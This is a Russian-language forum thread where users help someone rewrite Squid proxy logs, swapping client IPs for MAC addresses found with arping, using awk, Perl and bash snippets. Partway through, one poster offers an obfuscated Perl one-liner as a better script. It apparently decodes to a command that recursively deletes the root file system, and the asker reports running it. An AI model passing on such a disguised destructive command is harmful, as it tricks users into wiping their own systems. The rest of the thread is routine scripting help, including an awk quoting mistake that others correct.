Помогите написать скрипт.

в awk обратные кавычки работают как и bash, измени параметр 3 и потом выведи всю строку целиком

за правильность не ручаюсь (не проверял), но можно сделать что то вроде:

awk "{$3=`arping -fb $3`; print $0} "

Для увеличения производительности можно кешировать ответы arping в массиве, или закачать их в массив из arpwatch

cyclon alexandr # awk "{$3=`arping -fb $3`; print $0}"
Usage: arping [-fqbDUAV] [-c count] [-w timeout] [-I device] [-s source] destination
  -f : quit on first reply
  -q : be quiet
  -b : keep broadcasting, don't go unicast
  -D : duplicate address detection mode
  -U : Unsolicited ARP mode, update your neighbours
  -A : ARP answer mode, update your neighbours
  -V : print version and exit
  -c count : how many packets to send
  -w timeout : how long to wait for a reply
  -I device : which ethernet device to use (eth0)
  -s source : source ip address
  destination : ask for what ip address
awk: cmd. line:1: {=; print bash}
awk: cmd. line:1:  ^ syntax error

вот что родилось :(

И ещё вопрос, как в эту комбинацию передаётся ИП?

Так же хотелось отметить что кэширование пока не имеет смысла поскольку работа ведёться с 4 компами.

если всего 4 хоста, то не проще по логу пройтись только точки и прочее не забуть заэкранировать слешами

cat logfile | sed -e s/ip/mac/ > newlog

awk в случае с логами squid не поможет, там второе поле выравнено по правому краю пробелами слева, а как делить записи в этом случае по 1 или по 2 или по 5 пробелов (что ставить в FS)?

Похоже придёться делать так

#!/bin/bash

ping -с 1 -b 192.168.120.255; #посылаем броадкаст
                              #в результате в /proc/net/arp имеем            
                              #таблицу МАКов

exchglog /var/log/squid/access.log; #Вот самое интересное - это прога 
                                    #которую очевидно придёться 
                                    #написать, впринципе это не 
                                    #проблемма.
echo " " > /var/log/squid/access.log #Обнуляем лог

Вот где то так.
Впринципе здесь всё довольно просто. Но уж очень не хоцца использовать такой метод :(

а что паритесь-то??? не забудьте поменять только в строке с arping параметр eth0 на имя интерфейса, который смотрит вовнутрь.

#!/usr/bin/perl -w use strict;

open(INLOG, "access.log"); my @log = <INLOG>; close(INLOG);

my %mac = (); my $ip; foreach (@log) { if ($_ =~ /^\S+\s+\S+\s+(\S+)\s/) { $ip = $1; $mac{$ip} = $1 if ((!$mac{$ip}) && (`arping -f -I eth0 $ip | grep "Unicast reply"` =~ /\[(\S+)\]/)); $_ =~ s/$ip/$mac{$ip}/g; } }

open(OUTLOG, ">access.mac"); print OUTLOG @log; close(OUTLOG);

у меня складывается такое впечатление, что это что-то вроде защиты от подмены IP. если так, то почему бы просто не запретить компу, сменившему IP, обращаться к серверу?????

дурацкий форум +)
сработает, если поставить перенос перед use strict;

Защита это или нет, я не знаю не я дела эту сетку да и работаю я в ней не так давно, простоглавный админ не хочет ничего менять и ставить статику или привязывать маки к ипам.

P.S. Очень благодарен за скрипт, видимо всё таки придёться заняться изучением перла ил чего то такого.

> cyclon alexandr # awk "{$3=`arping -fb $3`; print $0}"

> awk: cmd. line:1: {=; print bash}

Программу awk надо в _одинарные_ кавычки брать. Так что, не перлом займись, а bash'ем сначала :)

Сея последовательность была написана не мной а посему я как то в неё не вглядывался.

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Может так лучше будет? :) http://www.linux.org.ru/jump-message.jsp?msgid=392747

TO x029ah:

:( Млин не работает твой скрипт, т.е. запускается и тишина, там где ты сказал долбануть по ентеру я долбанул. Но факт на лицо, он стартует и тишина :(

не претендует на эталон но все же !

Filename=access.log

line_count=`wc $Filename | awk '{ print $1 }'`

n=0

while [ "$n" != $line_count ]

do read I

IP=`echo $I | awk '{ print $3 }'` MAK=`arping -fbc 1 $IP | grep "\[" | awk '{ print "\""substr($5,2,17)"\"" }'`

echo $I | awk '{print $1" "$2" " '${MAK}'" "$4" "$5" "$6" "$7" "$8 }'

let "n += 1"

done <"$Filename"

О! кажется работает.

Я рад :)